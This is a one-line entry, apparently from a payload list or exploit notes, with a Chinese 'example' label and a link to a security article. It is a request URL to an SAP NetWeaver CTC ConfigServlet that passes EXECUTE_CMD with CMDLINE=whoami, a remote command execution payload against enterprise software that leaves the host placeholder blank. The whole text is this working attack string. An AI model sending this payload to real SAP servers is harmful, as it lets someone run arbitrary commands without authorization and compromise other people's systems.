http://xxxx.xxxx.com/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=whoami 实例:https://www.secpulse.com/archives/20204.html